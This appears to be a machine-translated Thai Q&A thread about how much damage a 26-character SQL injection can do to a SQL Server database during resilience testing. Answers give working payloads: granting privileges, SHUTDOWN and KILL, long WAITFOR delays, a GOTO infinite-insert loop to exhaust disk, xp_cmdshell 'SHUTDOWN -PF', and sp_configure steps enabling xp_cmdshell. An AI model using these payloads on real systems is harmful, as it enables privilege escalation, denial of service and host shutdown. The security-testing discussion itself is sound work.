การฉีด SQL Server - ความเสียหายเท่าไหร่ใน 26 ตัวอักษร?

ฉันกำลังทดสอบความยืดหยุ่นจากการโจมตีของการฉีดในฐานข้อมูล SQL Server

ชื่อตารางในฐานข้อมูลเป็นกรณีที่ต่ำกว่าและการเปรียบเทียบเป็นกรณีที่มีความไวLatin1_General_CS_AS

สตริงที่ฉันสามารถส่งถูกบังคับให้พิมพ์ใหญ่และสามารถมีความยาวสูงสุด 26 อักขระ ดังนั้นฉันไม่สามารถส่งเป็นตาราง DROP ได้เนื่องจากชื่อตารางจะเป็นตัวพิมพ์ใหญ่และดังนั้นคำสั่งจะล้มเหลวเนื่องจากการเปรียบเทียบ

ดังนั้น - ความเสียหายสูงสุดที่ฉันสามารถทำได้ใน 26 ตัวละครคืออะไร?

แก้ไข

ฉันรู้ทั้งหมดเกี่ยวกับข้อความค้นหาที่กำหนดพารามิเตอร์และอื่น ๆ - ลองจินตนาการว่าบุคคลที่พัฒนาส่วนหน้าที่สร้างคิวรีเพื่อส่งไม่ได้ใช้พารามิเตอร์ในกรณีนี้

ฉันยังไม่ได้พยายามทำอะไรชั่วร้ายนี่เป็นระบบที่สร้างโดยคนอื่นในองค์กรเดียวกัน

ง่าย:

GRANT EXECUTE TO LowlyDBA

หรือฉันเดาว่าในกรณีนี้

grant execute to lowlydba 

เลือกรูปแบบที่คุณเลือก

ในทุกโอกาสคุณอาจทดสอบสิ่งนี้กับระบบปัจจุบันของคุณได้ แต่การเปลี่ยนแปลงเล็ก ๆ น้อย ๆ ในฐานข้อมูลเมื่อเวลาผ่านไปอาจทำให้การทดสอบของคุณไม่ถูกต้อง สตริงอักขระสามารถเปลี่ยนแปลงได้ใครบางคนสามารถสร้างกระบวนงานที่เก็บตัวพิมพ์เล็กซึ่งมีศักยภาพในการทำลายล้าง - อะไรก็ได้ คุณไม่สามารถพูดได้อย่างมั่นใจ 100% ว่าไม่มีการโจมตีตัวละคร 26 ตัวที่ใคร ๆ ก็สร้างได้

ฉันขอแนะนำให้คุณหาวิธีที่จะทำให้นักพัฒนาทำตามแนวทางปฏิบัติด้านความปลอดภัยที่ดีที่สุดตามมาตรฐานอุตสาหกรรมขั้นพื้นฐานหากเพื่อประโยชน์ของคุณเองในฐานะคนที่ฉันเชื่อว่ามีความรับผิดชอบอย่างน้อยบางส่วนหากการละเมิดความปลอดภัยเกิดขึ้น

แก้ไข:

และเพื่อความเป็นอันตราย / ความสนุกคุณสามารถลองเปิดใช้งานการตั้งค่าสถานะการติดตามทุกครั้ง สิ่งนี้น่าสนใจที่จะสังเกต รู้สึกเหมือนโพสต์บล็อก Brent Ozar จะทำให้ ...

DBCC TRACEON(xxxx, -1)

SHUTDOWNคำสั่งหรือKILLคำสั่ง (รับจำนวนสุ่มมากกว่า 50) ทั้งสองใช้เวลาอย่างมีนัยสำคัญน้อยกว่า 26 ตัว แต่บัญชีการดำเนินการคำสั่งของโปรแกรมประยุกต์หวังว่าไม่มีสิทธิ์เพียงพอในการทำงานเหล่านี้

คุณสามารถสร้างตารางที่คุณเติมจนหมดเวลาหรือพื้นที่ว่างในดิสก์หมดแล้วแต่ว่าจะถึงอย่างใดก่อน

declare @S char(26);

set @S = 'create table t(c char(99))';
exec (@S);

set @S = 'insert t values('''')'
exec (@S);

set @S = 'insert t select c from t'
exec (@S);
exec (@S);
exec (@S);
exec (@S);
-- etc

คุณสามารถเรียกใช้สิ่งนี้ได้: WAITFOR DELAY '23: 59 'เพื่อความชั่วร้ายอย่างแท้จริงคุณสามารถใช้เครื่องมือทดสอบโหลดเพื่อเรียกใช้จากไคลเอนต์ 32,768

รูปแบบขึ้นอยู่กับคำตอบของ @ MikaelEriksson และคำตอบของ @ MartinSmith ต่อความคิดเห็นเริ่มต้นของฉัน:

declare @S char(26);

set @S = 'create table x(i int)';
exec (@S);

ตอนแรกฉันพยายามทำคำสั่ง WHILE แต่สิ่งที่ดีที่สุดที่ฉันทำได้คือ 27 ตัวอักษร:

set @S = 'while 1=1 insert t select 0'; -- fails at 27 characters
exec (@S);

แต่มาร์ตินชี้ GOTO:

set @S = 'x:insert t select 0 GOTO x';
exec (@S);

GOTO ... รากเหง้าแห่งความชั่วร้ายทั้งหมดและผู้สร้างคำแถลงแทรกแบบไม่มีที่สิ้นสุดใน 26 ตัวอักษร

ด้วยที่กล่าวว่า ... มันอาจเป็นประโยชน์ที่จะติดกับ CHAR (99) แทนที่จะเป็น int เพราะจะใช้พื้นที่มากขึ้น ตัวเลือกอื่นอาจใช้ชื่อที่ยาวกว่าและจะทำลายขีด จำกัด จำนวนอักขระ 26 ตัว ... หรือใช้พื้นที่เก็บข้อมูลน้อยลงต่อแถว

รหัสทดสอบเต็มรูปแบบ:

declare @S char(26);
set @S = 'drop table t;';
exec (@S);
GO

declare @S char(26);

set @S = 'create table t(c CHAR(99))';
exec (@S);

set @S = 'x:insert t select 0 GOTO x';
exec (@S);
GO

XP_CMDSHELL 'SHUTDOWN -PF'

ขึ้นอยู่กับความเสียหายที่คุณพิจารณาว่าจะลดลง :-)

สิ่งนี้ต้องการ xp_cmdshell ที่จะเปิดใช้งานบนเซิร์ฟเวอร์สิ่งที่ไม่ใช่กรณีของ SQL Server รุ่นล่าสุด นอกจากนี้ยังกำหนดให้บัญชีบริการมีสิทธิ์ปิดซึ่งอาจมีหรือไม่มี

การเปิดใช้งาน xp_cmdshell อาจเกินความยาว 26 อักขระของคุณ คุณจะอนุญาตการฉีดหลายครั้งหรือไม่?

SP_CONFIGURE 'SHOW ADV',1

RECONFIGURE

SP_CONFIGURE 'XP', 1

RECONFIGURE